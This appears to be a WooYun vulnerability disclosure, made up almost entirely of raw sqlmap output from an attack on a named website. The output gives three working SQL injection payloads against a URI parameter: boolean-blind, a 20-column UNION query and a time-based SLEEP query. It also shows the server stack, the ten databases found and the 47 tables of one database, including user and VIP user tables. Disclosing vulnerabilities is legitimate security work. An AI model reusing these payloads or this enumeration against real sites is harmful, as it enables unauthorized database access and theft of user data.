WooYun.org

sqlmap identified the following injection points with a total of 57 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://appmfl.com:80/?informationshow/tp/211/id/15' AND 9133=9133 AND 'mDMQ'='mDMQ.html
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: http://appmfl.com:80/?informationshow/tp/211/id/-1280' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161676771,0x514d5754594d4b474d49,0x716f746b71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://appmfl.com:80/?informationshow/tp/211/id/15' AND SLEEP(5) AND 'mcsb'='mcsb.html
---
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.5.1
back-end DBMS: MySQL 5.0.11
available databases [10]:
[*] cdcol
[*] data
[*] information_schema
[*] jinhe
[*] jinhe2
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://appmfl.com:80/?informationshow/tp/211/id/15' AND 9133=9133 AND 'mDMQ'='mDMQ.html
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: http://appmfl.com:80/?informationshow/tp/211/id/-1280' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7161676771,0x514d5754594d4b474d49,0x716f746b71)#.html
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: http://appmfl.com:80/?informationshow/tp/211/id/15' AND SLEEP(5) AND 'mcsb'='mcsb.html
---
web server operating system: Windows
web application technology: Apache 2.4.4, PHP 5.5.1
back-end DBMS: MySQL 5.0.11
Database: jinhe
[47 tables]
+---------------------+
| cn_case |
| cn_down |
| cn_faq |
| cn_index_content |
| cn_index_img |
| cn_indexvisitrecord |
| cn_info |
| cn_links |
| cn_liuyan |
| cn_seo |
| cn_single |
| cn_video |
| mx_appcalist |
| mx_appgroups |
| mx_applivs |
| mx_datasyndic |
| mx_fieldatas |
| mx_fields |
| mx_fieldupload |
| mx_filters |
| mx_forms |
| mx_killpoison |
| mx_loginlogs |
| mx_menu |
| mx_mgroup |
| mx_mod_advs |
| mx_mod_blocks |
| mx_mod_slots |
| mx_mod_topic |
| mx_mod_topicstyle |
| mx_optlog_1312 |
| mx_optlog_1401 |
| mx_optlog_1402 |
| mx_optlog_1403 |
| mx_optlog_1404 |
| mx_optlog_1405 |
| mx_optlog_1406 |
| mx_optlog_1407 |
| mx_optlog_1408 |
| mx_outputsets |
| mx_pickimport |
| mx_picknode |
| mx_picktemps |
| mx_sitesearch |
| mx_uploads |
| mx_user |
| mx_vip_user |
+---------------------+